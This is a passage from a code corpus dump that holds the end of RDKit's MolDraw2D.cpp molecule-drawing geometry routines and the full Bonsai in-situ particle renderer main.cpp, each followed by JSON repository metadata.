sizeof(HsListedFirstSrc) / sizeof(int));\n    if (std::find(HsListedFirst.begin(), HsListedFirst.end(),\n                  atom.getAtomicNum()) != HsListedFirst.end()) {\n      orient = OrientType::W;\n    } else {\n      orient = OrientType::E;\n    }\n  }\n\n  return orient;\n}\n\n// ****************************************************************************\nvoid MolDraw2D::adjustScaleForAtomLabels(\n    const std::vector<int> *highlight_atoms,\n    const map<int, double> *highlight_radii) {\n  double x_max(x_min_ + x_range_), y_max(y_min_ + y_range_);\n\n  for (size_t i = 0; i < atom_syms_[activeMolIdx_].size(); ++i) {\n    if (!atom_syms_[activeMolIdx_][i].first.empty()) {\n      double this_x_min, this_y_min, this_x_max, this_y_max;\n      getStringExtremes(atom_syms_[activeMolIdx_][i].first,\n                        atom_syms_[activeMolIdx_][i].second,\n                        at_cds_[activeMolIdx_][i], this_x_min, this_y_min,\n                        this_x_max, this_y_max);\n      x_max = std::max(x_max, this_x_max);\n      x_min_ = std::min(x_min_, this_x_min);\n      y_max = std::max(y_max, this_y_max);\n      y_min_ = std::min(y_min_, this_y_min);\n    }\n    if (highlight_atoms &&\n        highlight_atoms->end() !=\n            find(highlight_atoms->begin(), highlight_atoms->end(), i)) {\n      Point2D centre;\n      double xradius, yradius;\n      // this involves a 2nd call to text_drawer_->getStringRect, but never mind\n      calcLabelEllipse(i, highlight_radii, centre, xradius, yradius);\n      double this_x_min = centre.x - xradius;\n      double this_x_max = centre.x + xradius;\n      double this_y_min = centre.y - yradius;\n      double this_y_max = centre.y + yradius;\n      x_max = std::max(x_max, this_x_max);\n      x_min_ = std::min(x_min_, this_x_min);\n      y_max = std::max(y_max, this_y_max);\n      y_min_ = std::min(y_min_, this_y_min);\n    }\n  }\n\n  x_range_ = max(x_max - x_min_, x_range_);\n  y_range_ = max(y_max - y_min_, y_range_);\n}\n\n// ****************************************************************************\nvoid MolDraw2D::adjustScaleForRadicals(const ROMol &mol) {\n  if (scale() != text_drawer_->fontScale()) {\n    // we've hit max or min font size, so re-compute radical rectangles as\n    // they'll be too far from the character.\n    radicals_[activeMolIdx_].clear();\n    extractRadicals(mol);\n  }\n  double x_max(x_min_ + x_range_), y_max(y_min_ + y_range_);\n\n  for (auto rad_pair : radicals_[activeMolIdx_]) {\n    auto rad_rect = rad_pair.first;\n    x_max = max(x_max, rad_rect->trans_.x + rad_rect->width_ / 2.0);\n    y_max = max(y_max, rad_rect->trans_.y + rad_rect->height_ / 2.0);\n    x_min_ = min(x_min_, rad_rect->trans_.x - rad_rect->width_ / 2.0);\n    y_min_ = min(y_min_, rad_rect->trans_.y - rad_rect->height_ / 2.0);\n  }\n\n  x_range_ = max(x_max - x_min_, x_range_);\n  y_range_ = max(y_max - y_min_, y_range_);\n}\n\n// ****************************************************************************\nvoid MolDraw2D::adjustScaleForAnnotation(const vector<AnnotationType> &notes) {\n  double x_max(x_min_ + x_range_), y_max(y_min_ + y_range_);\n\n  for (auto const &pr : notes) {\n    const auto &note_rect = pr.rect_;\n    double this_x_max = note_rect.trans_.x;\n    double this_x_min = note_rect.trans_.x;\n    double this_y_max = note_rect.trans_.y;\n    double this_y_min = note_rect.trans_.y;\n    if (pr.align_ == TextAlignType::START) {\n      this_x_max += note_rect.width_;\n    } else if (pr.align_ == TextAlignType::END) {\n      this_x_min -= note_rect.width_;\n    } else {\n      this_x_max += note_rect.width_ / 2.0;\n      this_x_min -= note_rect.width_ / 2.0;\n    }\n    this_y_max += note_rect.height_ / 2.0;\n    this_y_min -= note_rect.height_ / 2.0;\n\n    x_max = std::max(x_max, this_x_max);\n    x_min_ = std::min(x_min_, this_x_min);\n    y_max = std::max(y_max, this_y_max);\n    y_min_ = std::min(y_min_, this_y_min);\n  }\n  x_range_ = max(x_max - x_min_, x_range_);\n  y_range_ = max(y_max - y_min_, y_range_);\n}\n\n// ****************************************************************************\nvoid MolDraw2D::drawTriangle(const Point2D &cds1, const Point2D &cds2,\n                             const Point2D &cds3) {\n  std::vector<Point2D> pts;\n  if (!drawOptions().comicMode) {\n    pts = {cds1, cds2, cds3};\n  } else {\n    auto lpts = MolDraw2D_detail::handdrawnLine(cds1, cds2, scale_);\n    std::move(lpts.begin(), lpts.end(), std::back_inserter(pts));\n    lpts = MolDraw2D_detail::handdrawnLine(cds2, cds3, scale_);\n    std::move(lpts.begin(), lpts.end(), std::back_inserter(pts));\n    lpts = MolDraw2D_detail::handdrawnLine(cds3, cds1, scale_);\n    std::move(lpts.begin(), lpts.end(), std::back_inserter(pts));\n  }\n  drawPolygon(pts);\n};\n\n// ****************************************************************************\nvoid MolDraw2D::drawArrow(const Point2D &arrowBegin, const Point2D &arrowEnd,\n                          bool asPolygon, double frac, double angle) {\n  Point2D delta = arrowBegin - arrowEnd;\n  double cos_angle = std::cos(angle), sin_angle = std::sin(angle);\n\n  Point2D p1 = arrowEnd;\n  p1.x += frac * (delta.x * cos_angle + delta.y * sin_angle);\n  p1.y += frac * (delta.y * cos_angle - delta.x * sin_angle);\n\n  Point2D p2 = arrowEnd;\n  p2.x += frac * (delta.x * cos_angle - delta.y * sin_angle);\n  p2.y += frac * (delta.y * cos_angle + delta.x * sin_angle);\n\n  drawLine(arrowBegin, arrowEnd);\n  if (!asPolygon) {\n    drawLine(arrowEnd, p1);\n    drawLine(arrowEnd, p2);\n  } else {\n    std::vector<Point2D> pts = {p1, arrowEnd, p2};\n    bool fps = fillPolys();\n    setFillPolys(true);\n    drawPolygon(pts);\n    setFillPolys(fps);\n  }\n}\n\n// ****************************************************************************\nvoid MolDraw2D::tabulaRasa() {\n  scale_ = 1.0;\n\n  // ignore the min and max font sizes when setting font size to 1.0\n  text_drawer_->setFontScale(1.0, true);\n  x_trans_ = y_trans_ = 0.0;\n  x_offset_ = y_offset_ = 0;\n  d_metadata.clear();\n  d_numMetadataEntries = 0;\n  setActiveAtmIdx();\n}\n\n// ****************************************************************************\nvoid MolDraw2D::drawEllipse(const Point2D &cds1, const Point2D &cds2) {\n  std::vector<Point2D> pts;\n  MolDraw2D_detail::arcPoints(cds1, cds2, pts, 0, 360);\n  drawPolygon(pts);\n}\n\n// ****************************************************************************\nvoid MolDraw2D::drawArc(const Point2D &centre, double radius, double ang1,\n                        double ang2) {\n  drawArc(centre, radius, radius, ang1, ang2);\n}\n\n// ****************************************************************************\nvoid MolDraw2D::drawArc(const Point2D &centre, double xradius, double yradius,\n                        double ang1, double ang2) {\n  std::vector<Point2D> pts;\n  // 5 degree increments should be plenty, as the circles are probably\n  // going to be small.\n  int num_steps = 1 + int((ang2 - ang1) / 5.0);\n  double ang_incr = double((ang2 - ang1) / num_steps) * M_PI / 180.0;\n  double start_ang_rads = ang2 * M_PI / 180.0;\n  for (int i = 0; i <= num_steps; ++i) {\n    double ang = start_ang_rads + double(i) * ang_incr;\n    double x = centre.x + xradius * cos(ang);\n    double y = centre.y + yradius * sin(ang);\n    pts.emplace_back(Point2D(x, y));\n  }\n\n  if (fillPolys()) {\n    // otherwise it draws an arc back to the pts.front() rather than filling\n    // in the sector.\n    pts.emplace_back(centre);\n  }\n  drawPolygon(pts);\n}\n\n// ****************************************************************************\nvoid MolDraw2D::drawRect(const Point2D &cds1, const Point2D &cds2) {\n  std::vector<Point2D> pts(4);\n  pts[0] = cds1;\n  pts[1] = Point2D(cds1.x, cds2.y);\n  pts[2] = cds2;\n  pts[3] = Point2D(cds2.x, cds1.y);\n  // if fillPolys() is false, it doesn't close the polygon because of\n  // its use for drawing filled or open ellipse segments.\n  if (!fillPolys()) {\n    pts.emplace_back(cds1);\n  }\n  drawPolygon(pts);\n}\n\nvoid MolDraw2D::drawWavyLine(const Point2D &cds1, const Point2D &cds2,\n                             const DrawColour &col1, const DrawColour &col2,\n                             unsigned int, double) {\n  drawLine(cds1, cds2, col1, col2);\n}\n\n// ****************************************************************************\n//  we draw the line at cds2, perpendicular to the line cds1-cds2\nvoid MolDraw2D::drawAttachmentLine(const Point2D &cds1, const Point2D &cds2,\n                                   const DrawColour &col, double len,\n                                   unsigned int nSegments) {\n  Point2D perp = calcPerpendicular(cds1, cds2);\n  Point2D p1 = Point2D(cds2.x - perp.x * len / 2, cds2.y - perp.y * len / 2);\n  Point2D p2 = Point2D(cds2.x + perp.x * len / 2, cds2.y + perp.y * len / 2);\n  drawWavyLine(p1, p2, col, col, nSegments);\n}\n\n// ****************************************************************************\nbool doLinesIntersect(const Point2D &l1s, const Point2D &l1f,\n                      const Point2D &l2s, const Point2D &l2f, Point2D *ip) {\n  // using spell from answer 2 of\n  // https://stackoverflow.com/questions/563198/how-do-you-detect-where-two-line-segments-intersect\n  double s1_x = l1f.x - l1s.x;\n  double s1_y = l1f.y - l1s.y;\n  double s2_x = l2f.x - l2s.x;\n  double s2_y = l2f.y - l2s.y;\n\n  double d = (-s2_x * s1_y + s1_x * s2_y);\n  if (d == 0.0) {\n    // parallel lines.\n    return false;\n  }\n  double s, t;\n  s = (-s1_y * (l1s.x - l2s.x) + s1_x * (l1s.y - l2s.y)) / d;\n  t = (s2_x * (l1s.y - l2s.y) - s2_y * (l1s.x - l2s.x)) / d;\n\n  if (s >= 0 && s <= 1 && t >= 0 && t <= 1) {\n    if (ip) {\n      ip->x = l1s.x + t * s1_x;\n      ip->y = l1s.y + t * s1_y;\n    }\n    return true;\n  }\n\n  return false;\n}\n\n// ****************************************************************************\nbool doesLineIntersectLabel(const Point2D &ls, const Point2D &lf,\n                            const StringRect &lab_rect, double padding) {\n  Point2D tl, tr, br, bl;\n  lab_rect.calcCorners(tl, tr, br, bl, padding);\n\n  // first check if line is completely inside label.  Unlikely, but who\n  // knows?\n  if (ls.x >= tl.x && ls.x <= br.x && lf.x >= tl.x && lf.x <= br.x &&\n      ls.y <= tl.y && ls.y >= br.y && lf.y <= tl.y && lf.y >= br.y) {\n    return true;\n  }\n  if (doLinesIntersect(ls, lf, tl, tr) || doLinesIntersect(ls, lf, tr, br) ||\n      doLinesIntersect(ls, lf, br, bl) || doLinesIntersect(ls, lf, bl, tl)) {\n    return true;\n  }\n  return false;\n}\n\n}  // namespace RDKit\n", "meta": {"hexsha": "6026af2d5c1ade934eae557e3f30b8f7a8f5289a", "size": 163093, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "Code/GraphMol/MolDraw2D/MolDraw2D.cpp", "max_stars_repo_name": "IngvarLa/rdkit", "max_stars_repo_head_hexsha": "fed45f9483f00d55a530a2a88173e569f35a6e8f", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 2.0, "max_stars_repo_stars_event_min_datetime": "2019-10-26T21:38:53.000Z", "max_stars_repo_stars_event_max_datetime": "2020-05-13T19:06:44.000Z", "max_issues_repo_path": "Code/GraphMol/MolDraw2D/MolDraw2D.cpp", "max_issues_repo_name": "IngvarLa/rdkit", "max_issues_repo_head_hexsha": "fed45f9483f00d55a530a2a88173e569f35a6e8f", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 6.0, "max_issues_repo_issues_event_min_datetime": "2017-01-20T16:18:33.000Z", "max_issues_repo_issues_event_max_datetime": "2019-07-26T07:51:24.000Z", "max_forks_repo_path": "Code/GraphMol/MolDraw2D/MolDraw2D.cpp", "max_forks_repo_name": "xavierholt/rdkit", "max_forks_repo_head_hexsha": "7f73da78a2768d65ac1e2d1e856c96ce792ee894", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 2.0, "max_forks_repo_forks_event_min_datetime": "2016-06-23T16:33:22.000Z", "max_forks_repo_forks_event_max_datetime": "2018-06-25T19:43:28.000Z", "avg_line_length": 36.194629383, "max_line_length": 103, "alphanum_fraction": 0.589375387, "num_tokens": 46094, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5506073655352404, "lm_q2_score": 0.26588047309981694, "lm_q1q2_score": 0.14639574684075354}}
{"text": "#include <cstdio>\n#include <cstdlib>\n#include <cassert>\n#include <unistd.h>\n#include <sstream>\n#include <cmath>\n#include \"IDType.h\"\n#include \"BonsaiSharedData.h\"\n#include \"BonsaiIO.h\"\n#include \"SharedMemory.h\"\n#ifndef BONSAI_CATALYST_CLANG\n #include <omp.h>\n#endif\n#ifdef BONSAI_CATALYST_STDLIB\n #include <boost/function.hpp>\n #define bonsaistd boost\n#else\n #include <functional>\n #define bonsaistd std\n#endif\n#include <mpi.h>\n\n#include \"anyoption.h\"\n#include \"BonsaiCatalystData.h\"\n\nstatic void renderer(\n    int argc, char** argv, \n    const int rank, const int nrank, const MPI_Comm &comm,\n    BonsaiCatalystData &data,\n    const char *fullScreenMode /* = \"\" */,\n    const bool stereo /* = false */,\n    bonsaistd::function<void(int)> &callback)\n{\n  /* do rendering here */\n  while (1)\n  {\n    sleep(1);\n    callback(0);  /* fetch new data */\n    if (data.isNewData())\n    {\n      fprintf(stderr , \"rank= %d: --copying new data --\\n\", rank);\n      /* copy new data into my buffer */\n      data.unsetNewData();\n    }\n    fprintf(stderr ,\" rank= %d: rendering ... \\n\", rank);\n    data.coProcess(0.0, 0);\n  }\n}\n\nusing ShmQHeader = SharedMemoryClient<BonsaiSharedQuickHeader>;\nusing ShmQData   = SharedMemoryClient<BonsaiSharedQuickData>;\nstatic ShmQHeader *shmQHeader = NULL;\nstatic ShmQData   *shmQData   = NULL;\n\nstatic bool terminateRenderer = false;\n\nbool fetchSharedData(const bool quickSync, BonsaiCatalystData &rData, const int rank, const int nrank, const MPI_Comm &comm,\n    const int reduceDM = 1, const int reduceS = 1)\n{\n  if (shmQHeader == NULL)\n  {\n    shmQHeader = new ShmQHeader(ShmQHeader::type::sharedFile(rank));\n    shmQData   = new ShmQData  (ShmQData  ::type::sharedFile(rank));\n  }\n\n  auto &header = *shmQHeader;\n  auto &data   = *shmQData;\n\n  static bool first = true;\n  if (quickSync && first) \n  {\n    /* handshake */\n\n    header.acquireLock();\n    header[0].handshake = true;\n    header.releaseLock();\n\n    while (header[0].handshake)\n      usleep(1000);\n\n    header.acquireLock();\n    header[0].handshake = true;\n    header.releaseLock();\n\n    /* handshake complete */\n    first = false;\n  }\n\n\n  static float tLast = -1.0f;\n\n\n  if (rData.isNewData())\n    return false;\n\n\n#if 0\n  //  if (rank == 0)\n  fprintf(stderr, \" rank= %d: attempting to fetch data \\n\",rank);\n#endif\n\n  // header\n  header.acquireLock();\n  const float tCurrent = header[0].tCurrent;\n\n  terminateRenderer = tCurrent == -1;\n\n  int sumL = quickSync ? !header[0].done_writing : tCurrent != tLast;\n  int sumG ;\n  MPI_Allreduce(&sumL, &sumG, 1, MPI_INT, MPI_SUM, comm);\n\n\n  bool completed = false;\n  if (sumG == nrank) //tCurrent != tLast)\n  {\n    tLast = tCurrent;\n    completed = true;\n\n    // data\n    const size_t nBodies = header[0].nBodies;\n    data.acquireLock();\n\n    const size_t size = data.size();\n    assert(size == nBodies);\n\n    /* skip particles that failed to get density, or with too big h */\n    auto skipPtcl = [&](const int i)\n    {\n      return (data[i].rho == 0 || data[i].h == 0.0 || data[i].h > 100);\n    };\n\n    size_t nDM = 0, nS = 0;\n    constexpr int ntypecount = 10;\n    bonsaistd::array<size_t,ntypecount> ntypeloc, ntypeglb;\n    std::fill(ntypeloc.begin(), ntypeloc.end(), 0);\n    for (size_t i = 0; i < size; i++)\n    {\n      const int type = data[i].ID.getType();\n      if  (type < ntypecount)\n        ntypeloc[type]++;\n      if (skipPtcl(i))\n        continue;\n      switch (type)\n      {\n        case 0:\n          nDM++;\n          break;\n        default:\n          nS++;\n      }\n    }\n\n    MPI_Reduce(&ntypeloc, &ntypeglb, ntypecount, MPI_LONG_LONG, MPI_SUM, 0, comm);\n    if (rank == 0)\n    {\n      for (int type = 0; type < ntypecount; type++)\n        if (ntypeglb[type] > 0)\n          fprintf(stderr, \" ptype= %d:  np= %zu \\n\",type, ntypeglb[type]);\n    }\n\n\n    rData.resize(nS);\n    size_t ip = 0;\n    for (size_t i = 0; i < size; i++)\n    {\n      if (skipPtcl(i))\n        continue;\n      if (data[i].ID.getType() == 0 )  /* pick stars only */\n        continue;\n\n      rData.posx(ip) = data[i].x;\n      rData.posy(ip) = data[i].y;\n      rData.posz(ip) = data[i].z;\n      rData.ID  (ip) = data[i].ID;\n      rData.attribute(BonsaiCatalystData::MASS, ip) = data[i].mass;\n      rData.attribute(BonsaiCatalystData::VEL,  ip) =\n        std::sqrt(\n            data[i].vx*data[i].vx+\n            data[i].vy*data[i].vy+\n            data[i].vz*data[i].vz);\n      rData.attribute(BonsaiCatalystData::RHO, ip) = data[i].rho;\n      rData.attribute(BonsaiCatalystData::H,   ip) = data[i].h;\n\n      ip++;\n      assert(ip <= nS);\n    }\n    rData.resize(ip);\n\n    data.releaseLock();\n  }\n\n  header[0].done_writing = true;\n  header.releaseLock();\n\n#if 0\n  //  if (rank == 0)\n  fprintf(stderr, \" rank= %d: done fetching data \\n\", rank);\n#endif\n\n  if (completed)\n    rData.computeMinMax();\n\n\n  return completed;\n}\n\n\n  template<typename T>\nstatic T* readBonsai(\n    const int rank, const int nranks, const MPI_Comm &comm,\n    const std::string &fileName,\n    const int reduceDM,\n    const int reduceS,\n    const bool print_header = false)\n{\n  BonsaiIO::Core out(rank, nranks, comm, BonsaiIO::READ, fileName);\n  if (rank == 0 && print_header)\n  {\n    fprintf(stderr, \"---- Bonsai header info ----\\n\");\n    out.getHeader().printFields();\n    fprintf(stderr, \"----------------------------\\n\");\n  }\n  typedef float float4[4];\n  typedef float float3[3];\n  typedef float float2[2];\n\n  BonsaiIO::DataType<IDType> IDListS(\"Stars:IDType\");\n  BonsaiIO::DataType<float4> posS(\"Stars:POS:real4\");\n  BonsaiIO::DataType<float3> velS(\"Stars:VEL:float[3]\");\n  BonsaiIO::DataType<float2> rhohS(\"Stars:RHOH:float[2]\");\n\n  if (reduceS > 0)\n  {\n    if (!out.read(IDListS, true, reduceS)) return NULL;\n    if (rank  == 0)\n      fprintf(stderr, \" Reading star data \\n\");\n    assert(out.read(posS,    true, reduceS));\n    assert(out.read(velS,    true, reduceS));\n    bool renderDensity = true;\n    if (!out.read(rhohS,  true, reduceS))\n    {\n      if (rank == 0)\n      {\n        fprintf(stderr , \" -- Stars RHOH data is found \\n\");\n        fprintf(stderr , \" -- rendering stars w/o density info \\n\");\n      }\n      renderDensity = false;\n    }\n    assert(IDListS.getNumElements() == posS.getNumElements());\n    assert(IDListS.getNumElements() == velS.getNumElements());\n    if (renderDensity)\n      assert(IDListS.getNumElements() == posS.getNumElements());\n  }\n\n  BonsaiIO::DataType<IDType> IDListDM(\"DM:IDType\");\n  BonsaiIO::DataType<float4> posDM(\"DM:POS:real4\");\n  BonsaiIO::DataType<float3> velDM(\"DM:VEL:float[3]\");\n  BonsaiIO::DataType<float2> rhohDM(\"DM:RHOH:float[2]\");\n  if (reduceDM > 0)\n  {\n    if (rank  == 0)\n      fprintf(stderr, \" Reading DM data \\n\");\n    if(!out.read(IDListDM, true, reduceDM)) return NULL;\n    assert(out.read(posDM,    true, reduceDM));\n    assert(out.read(velDM,    true, reduceDM));\n    bool renderDensity = true;\n    if (!out.read(rhohDM,  true, reduceDM))\n    {\n      if (rank == 0)\n      {\n        fprintf(stderr , \" -- DM RHOH data is found \\n\");\n        fprintf(stderr , \" -- rendering stars w/o density info \\n\");\n      }\n      renderDensity = false;\n    }\n    assert(IDListS.getNumElements() == posS.getNumElements());\n    assert(IDListS.getNumElements() == velS.getNumElements());\n    if (renderDensity)\n      assert(IDListS.getNumElements() == posS.getNumElements());\n  }\n\n\n  const int nS  = IDListS.getNumElements();\n  const int nDM = IDListDM.getNumElements();\n  long long int nSloc = nS, nSglb;\n  long long int nDMloc = nDM, nDMglb;\n\n  MPI_Allreduce(&nSloc, &nSglb, 1, MPI_LONG, MPI_SUM, comm);\n  MPI_Allreduce(&nDMloc, &nDMglb, 1, MPI_LONG, MPI_SUM, comm);\n  if (rank == 0)\n  {\n    fprintf(stderr, \"nStars = %lld\\n\", nSglb);\n    fprintf(stderr, \"nDM    = %lld\\n\", nDMglb);\n  }\n\n\n  T *rDataPtr = new T(rank,nranks,comm);\n  rDataPtr->resize(nS+nDM);\n  auto &rData = *rDataPtr;\n  for (int i = 0; i < nS; i++)\n  {\n    const int ip = i;\n    rData.posx(ip) = posS[i][0];\n    rData.posy(ip) = posS[i][1];\n    rData.posz(ip) = posS[i][2];\n    rData.ID  (ip) = IDListS[i];\n    assert(rData.ID(ip).getType() > 0); /* sanity check */\n    rData.attribute(BonsaiCatalystData::MASS, ip) = posS[i][3];\n    rData.attribute(BonsaiCatalystData::VEL,  ip) =\n      std::sqrt(\n          velS[i][0]*velS[i][0] +\n          velS[i][1]*velS[i][1] +\n          velS[i][2]*velS[i][2]);\n    if (rhohS.size() > 0)\n    {\n      rData.attribute(BonsaiCatalystData::RHO, ip) = rhohS[i][0];\n      rData.attribute(BonsaiCatalystData::H,  ip)  = rhohS[i][1];\n    }\n    else\n    {\n      rData.attribute(BonsaiCatalystData::RHO, ip) = 0.0;\n      rData.attribute(BonsaiCatalystData::H,   ip) = 0.0;\n    }\n  }\n  for (int i = 0; i < nDM; i++)\n  {\n    const int ip = i + nS;\n    rData.posx(ip) = posDM[i][0];\n    rData.posy(ip) = posDM[i][1];\n    rData.posz(ip) = posDM[i][2];\n    rData.ID  (ip) = IDListDM[i];\n    assert(rData.ID(ip).getType() == 0); /* sanity check */\n    rData.attribute(BonsaiCatalystData::MASS, ip) = posDM[i][3];\n    rData.attribute(BonsaiCatalystData::VEL,  ip) =\n      std::sqrt(\n          velDM[i][0]*velDM[i][0] +\n          velDM[i][1]*velDM[i][1] +\n          velDM[i][2]*velDM[i][2]);\n    if (rhohDM.size() > 0)\n    {\n      rData.attribute(BonsaiCatalystData::RHO, ip) = rhohDM[i][0];\n      rData.attribute(BonsaiCatalystData::H,   ip) = rhohDM[i][1];\n    }\n    else\n    {\n      rData.attribute(BonsaiCatalystData::RHO, ip) = 0.0;\n      rData.attribute(BonsaiCatalystData::H,   ip) = 0.0;\n    }\n  }\n\n  return rDataPtr;\n}\n\n#ifndef BONSAI_CATALYST_CLANG\nint main(int argc, char * argv[], MPI_Comm commWorld)\n{\n#else\nint main(int argc, char * argv[])\n{\n MPI_Comm commWorld;\n#endif\n\n  std::string fileName;\n  int reduceDM    =  10;\n  int reduceS=  1;\n#ifndef PARTICLESRENDERER\n  std::string fullScreenMode    = \"\";\n  bool stereo     = false;\n#endif\n  int nmaxsample = 200000;\n  std::string display;\n\n  bool inSitu = false;\n  bool quickSync = true;\n  int sleeptime = 1;\n\n  {\n    AnyOption opt;\n\n#define ADDUSAGE(line) {{std::stringstream oss; oss << line; opt.addUsage(oss.str());}}\n\n    ADDUSAGE(\" \");\n    ADDUSAGE(\"Usage:\");\n    ADDUSAGE(\" \");\n    ADDUSAGE(\" -h  --help             Prints this help \");\n    ADDUSAGE(\" -i  --infile #         Input snapshot filename \");\n    ADDUSAGE(\" -I  --insitu          Enable in-situ rendering \");\n    ADDUSAGE(\"     --sleep  #        start up sleep in sec [1]  \");\n    ADDUSAGE(\"     --noquicksync      disable syncing with simulation [enabled] \");\n    ADDUSAGE(\"     --reduceDM    #    cut down DM dataset by # factor [10]. 0-disable DM\");\n    ADDUSAGE(\"     --reduceS     #    cut down stars dataset by # factor [1]. 0-disable S\");\n#ifndef PARTICLESRENDERER\n    ADDUSAGE(\"     --fullscreen  #    set fullscreen mode string\");\n    ADDUSAGE(\"     --stereo           enable stereo rendering\");\n#endif\n    ADDUSAGE(\" -s  --nmaxsample   #   set max number of samples for DD [\" << nmaxsample << \"]\");\n    ADDUSAGE(\" -D  --display      #   set DISPLAY=display, otherwise inherited from environment\");\n\n\n    opt.setFlag  ( \"help\" ,        'h');\n    opt.setOption( \"infile\",       'i');\n    opt.setFlag  ( \"insitu\",       'I');\n    opt.setOption( \"reduceDM\");\n    opt.setOption( \"sleep\");\n    opt.setOption( \"reduceS\");\n    opt.setOption( \"fullscreen\");\n    opt.setFlag(\"stereo\");\n    opt.setOption(\"nmaxsample\", 's');\n    opt.setOption(\"display\", 'D');\n    opt.setFlag  ( \"noquicksync\");\n\n    opt.processCommandArgs( argc, argv );\n\n\n    if( ! opt.hasOptions() ||  opt.getFlag( \"help\" ) || opt.getFlag( 'h' ) )\n    {\n      /* print usage if no options or requested help */\n      opt.printUsage();\n      ::exit(0);\n    }\n\n    char *optarg = NULL;\n    if (opt.getFlag(\"insitu\"))  inSitu = true;\n    if ((optarg = opt.getValue(\"infile\")))       fileName           = std::string(optarg);\n    if ((optarg = opt.getValue(\"reduceDM\"))) reduceDM       = atoi(optarg);\n    if ((optarg = opt.getValue(\"reduceS\"))) reduceS       = atoi(optarg);\n#ifndef PARTICLESRENDERER\n    if ((optarg = opt.getValue(\"fullscreen\")))\t fullScreenMode     = std::string(optarg);\n    if (opt.getFlag(\"stereo\"))  stereo = true;\n#endif\n    if ((optarg = opt.getValue(\"nmaxsample\"))) nmaxsample = atoi(optarg);\n    if ((optarg = opt.getValue(\"display\"))) display = std::string(optarg);\n    if ((optarg = opt.getValue(\"sleep\"))) sleeptime = atoi(optarg);\n    if (opt.getValue(\"noquicksync\")) quickSync = false;\n\n    if ((fileName.empty() && !inSitu) ||\n        reduceDM < 0 || reduceS < 0)\n    {\n      opt.printUsage();\n      ::exit(0);\n    }\n\n#undef ADDUSAGE\n  }\n\n  MPI_Comm comm = MPI_COMM_WORLD;\n  int mpiInitialized = 0;\n  MPI_Initialized(&mpiInitialized);\n  if (!mpiInitialized)\n    MPI_Init(&argc, &argv);\n  else\n    comm = commWorld;\n\n  int nranks, rank;\n  MPI_Comm_size(comm, &nranks);\n  MPI_Comm_rank(comm, &rank);\n\n  char processor_name[MPI_MAX_PROCESSOR_NAME];\n  int namelen;\n  MPI_Get_processor_name(processor_name,&namelen);\n  fprintf(stderr, \"bonsai_renderer:: Proc id: %d @ %s , total processes: %d (mpiInit) \\n\", rank, processor_name, nranks);\n\n  if (rank == 0)\n  {\n    char hostname[256];\n    gethostname(hostname,256);\n    char * display = getenv(\"DISPLAY\");\n    fprintf(stderr, \"root: %s  display: %s \\n\", hostname, display);\n  }\n\n  if (!display.empty())\n  {\n    std::string var=\"DISPLAY=\"+display;\n    putenv((char*)var.c_str());\n  }\n\n  if (rank == 0)\n    fprintf(stderr, \" Sleeping for %d seconds \\n\", sleeptime);\n  sleep(sleeptime);\n\n\n\n  using BonsaiCatalystDataT = BonsaiCatalystData;\n  BonsaiCatalystDataT *rDataPtr;\n  if (inSitu)\n  {\n    rDataPtr = new BonsaiCatalystDataT(rank,nranks,comm);\n  }\n  else\n  {\n    if ((rDataPtr = readBonsai<BonsaiCatalystDataT>(rank, nranks, comm, fileName, reduceDM, reduceS)))\n    {}\n    else\n    {\n      if (rank == 0)\n        fprintf(stderr, \" I don't recognize the format ... please try again , or recompile to use with old tipsy if that is what you use ..\\n\");\n      MPI_Finalize();\n      ::exit(-1);\n    }\n    rDataPtr->computeMinMax();\n    rDataPtr->setNewData();\n  }\n\n  assert(rDataPtr != 0);\n\n\n  auto callbackFunc = [&](const int code) \n  {\n    int quitL = (code == -1) || terminateRenderer;  /* exit code */\n    int quitG;\n    MPI_Allreduce(&quitL, &quitG, 1, MPI_INT, MPI_SUM, comm);\n    if (quitG)\n    {\n      MPI_Finalize();\n      ::exit(0);\n    }\n\n    if (inSitu )\n      if (fetchSharedData(quickSync, *rDataPtr, rank, nranks, comm, reduceDM, reduceS))\n      {\n        rDataPtr->setNewData();\n      }\n  };\n\n  bonsaistd::function<void(int)> callback = callbackFunc;\n  callback(0);  /* init data set */\n\n  renderer(\n      argc, argv, \n      rank, nranks, comm,\n      *rDataPtr,\n      fullScreenMode.c_str(), \n      stereo,\n      callback);\n\n//  while(1) {}\n  return 0;\n}\n\n\n", "meta": {"hexsha": "12b0775746d34837d398b8524b75ce9e8e58cbf2", "size": 14660, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "tools/catalyst/main.cpp", "max_stars_repo_name": "sciserver/Bonsai", "max_stars_repo_head_hexsha": "8904dd3ebf395ccaaf0eacef38933002b49fc3ba", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 40.0, "max_stars_repo_stars_event_min_datetime": "2015-02-02T13:24:11.000Z", "max_stars_repo_stars_event_max_datetime": "2021-09-10T05:43:44.000Z", "max_issues_repo_path": "tools/catalyst/main.cpp", "max_issues_repo_name": "sciserver/Bonsai", "max_issues_repo_head_hexsha": "8904dd3ebf395ccaaf0eacef38933002b49fc3ba", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 17.0, "max_issues_repo_issues_event_min_datetime": "2015-02-20T08:29:57.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-17T17:26:40.000Z", "max_forks_repo_path": "tools/catalyst/main.cpp", "max_forks_repo_name": "sciserver/Bonsai", "max_forks_repo_head_hexsha": "8904dd3ebf395ccaaf0eacef38933002b49fc3ba", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 24.0, "max_forks_repo_forks_event_min_datetime": "2015-01-30T09:14:51.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-28T01:53:28.000Z", "avg_line_length": 27.0979667283, "max_line_length": 144, "alphanum_fraction": 0.5989085948, "num_tokens": 4519, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5195213219520929, "lm_q2_score": 0.28140560140262283, "lm_q1q2_score": 0.14619621004541433}}
